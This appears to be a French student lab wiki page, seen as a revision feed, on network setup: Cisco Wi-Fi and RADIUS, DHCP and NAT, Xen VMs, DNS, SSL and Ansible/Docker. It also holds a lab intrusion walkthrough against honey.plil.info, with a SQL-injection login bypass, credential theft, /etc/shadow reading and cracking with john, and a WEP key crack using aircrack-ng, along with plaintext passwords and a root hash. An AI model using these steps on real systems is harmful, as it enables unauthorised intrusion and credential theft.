    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54994</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54994"/>
				<updated>2020-12-18T20:58:18Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
